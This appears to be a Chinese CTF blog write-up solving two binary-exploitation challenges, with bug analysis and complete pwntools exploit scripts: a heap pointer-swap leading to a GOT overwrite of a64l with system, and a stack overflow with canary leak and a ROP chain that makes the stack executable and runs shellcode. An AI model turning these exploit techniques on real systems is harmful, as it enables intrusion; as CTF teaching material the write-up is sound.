朝彻

xiaolan@ubuntu:~/Desktop/pwn_CTF/cc$ checksec pwn10 
[*] '/home/xiaolan/Desktop/pwn_CTF/cc/pwn10'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

分析程序逻辑

Create函数:连续申请两个大小为0x20的chunk。那么Chunk_list里只存储real_chunk的data_point,而real_chunk里存储用户可操作的user_chunk的data_point。

Delete函数:只检查real_chunk是否为已free的状态来防止Double Free,且将real_chunk和user_chunk的指针均进行了清空。

Edit函数:第一次修改chunk会将user_chunk的data_point放置在BSS段,第二次使用时将直接取放在在BSS段的user_chunk的data_point进行修改,此时,不会验证user_chunk是否已被释放

Show函数:只能读两个字节,因此libc基址无法完全泄露。

漏洞分析

本题存在多个漏洞点:

  1. Edit函数在对Chunk编辑时不会验证该Chunk的合法性。
  2. 虽然Show函数只能读两个字节,但是发现a64l和system函数差的恰好是0x5E0,因此可以使用低位覆盖攻击,也就是说,泄露低两个字节就足以进行攻击。mark
  3. 程序整体设计存在漏洞,程序本想构造Chunk_list[index]指向real_chunk的data域,real_chunk的data域指向user_chunk的data域。但是在delete函数中,居然先Free了real_chunk,再释放了user_chunk。那么在接下来的两次malloc中,real_chunk会变为user_chunk,而user_chunk会变为real_chunk。当我们能控制real_chunk的data域时,我们可以利用edit函数获取任意地址写的能力,利用show函数获取任意地址部分读的能力,进而完成劫持GOT表~

EXP

from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'

pwn10=ELF("./pwn10")
# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

Edit_state=True
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./pwn10")
def creat(value):
    sh.recvuntil('Give me your choice : ')
    sh.sendline('1')
    sh.recvuntil('Give me your size : ')
    sh.sendline(str(len(value)))
    sh.recvuntil('Now give me your content')
    sh.send(value)

def show(index):
    sh.recvuntil('Give me your choice : ')
    sh.sendline('2')
    sh.recvuntil('Give me your index : ')
    sh.sendline(str(index))

def edit(index,value):
    global Edit_state
    sh.recvuntil('Give me your choice : ')
    sh.sendline('3')
    if Edit_state:
        sh.recvuntil('Give me your index : ')
        sh.sendline(str(index))
    sh.recvuntil('Give me your size : ')
    sh.sendline(str(len(value)))
    sh.recvuntil('Now give me your content')
    sh.send(value)
    Edit_state=not Edit_state

def delete(index):
    sh.recvuntil('Give me your choice : ')
    sh.sendline('4')
    sh.recvuntil('Give me your index : ')
    sh.sendline(str(index))

creat('Chunk1')
edit(0,p64(pwn10.got['a64l']))
delete(0)
creat('Chunk1')
edit(0,p64(pwn10.got['a64l']))
show(0)
sh.recvline()
a64l_part=u16(sh.recvuntil('\x0a').strip('\x0a'))
log.success('We get low bits of a64l got addr:'+str(hex(a64l_part)))
system_part=a64l_part-0x5E0
log.success('We get low bits of system addr:'+str(hex(system_part)))
edit(0,p16(system_part))
sh.recvuntil('Give me your choice : ')
sh.sendline('/bin/sh\x00')
sh.interactive()

坐忘

xiaolan@ubuntu:~/Desktop/pwn_CTF/zw$ checksec pwn9 
[*] '/home/xiaolan/Desktop/pwn_CTF/zw/pwn9'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

分析程序逻辑

逻辑很简单,就是先申请一块大的chunk,然后把用户输入放进去,然后对用户输入进行Base64解密,解密结果放在一个栈变量上,

漏洞分析

  1. 由于它在做值转移的时候并没有考虑溢出,因此此处存在一个Satck Overflow

  2. 利用Satck Overflow可以泄露Canary的值。

  3. 尽管程序是静态编译的程序,我们无法利用ret2libc来完成攻击,但我们可以使用_dl_make_stack_executable函数来绕过NX防护,进而完成ret2shellcode攻击。

  4. 发现程序中有以下的gadget

    0x00000000004a4637 : jmp rsp
    0x00000000004433e6 : pop rdx ; ret
    0x00000000004715e4 : pop rax ; ret
    0x0000000000401e36 : pop rdi ; ret
    0x00000000004170a1 : mov qword ptr [rdx], rax ; ret
    

mark

mark

mark

  1. 配合Satck Overflow我们可以构造如下payload
    p64(0x00000000004715e4) //RAX等待赋值
    +p64(0x0000000000000007) //0x7 -> RAX
    +p64(0x00000000004433e6) //RDX等待赋值
    +p64(0x00000000006CAFE0) //__stack_prot -> RDX
    +p64(0x00000000004170a1) //RAX -> RDX 即 0x7 -> __stack_prot
    +p64(0x0000000000401e36) //RDI等待赋值
    +p64(0x00000000006CAF90) //__libc_stack_end -> RDI
    +p64(0x000000000047D5E0) //call _dl_make_stack_executable
    +p64(0x00000000004a4637) //JMP RSP
    +Shellcode
    

EXP

from pwn import *
import base64
import sys
context.log_level='debug'
context.arch='amd64'

pwn9=ELF("./pwn9")
# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./pwn9")

leave_ret=0x0000000000400f48
jmp_rsp=0x00000000004a4637
pop_rdx=0x00000000004433e6
pop_rax=0x00000000004715e4
pop_rdi=0x0000000000401e36
mov_rdx_rax=0x00000000004170a1

leak_canary_payload='a'*0x9
sh.recvuntil(">")
# gdb.attach(sh)
sh.sendline(base64.b64encode(leak_canary_payload))
sh.recvuntil('a'*9)
Canary_Value=u64('\x00'+sh.recvline()[:7])
log.success('Now we get canary value is '+str(hex(Canary_Value)))
sh.recvuntil("continue ?")
sh.sendline('yes')
payload='a'*0x8+p64(Canary_Value)+p64(0xdeadbeef)
payload+=p64(pop_rax)+p64(0x7)
payload+=p64(pop_rdx)+p64(0x6CAFE0)
payload+=p64(mov_rdx_rax)
payload+=p64(pop_rdi)+p64(0x6CAF90)
payload+=p64(0x47D5E0)
payload+=p64(0x4a4637)
payload+=asm(shellcraft.sh())
sh.recvuntil(">")
sh.sendline(base64.b64encode(payload))
sh.recvuntil("continue ?")
gdb.attach(sh)
sh.sendline('no')
sh.interactive()

PS:这里还有一位大佬使用的是直接构造系统调用的rop来getshell的~详见这里~

(未完待续~)


分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注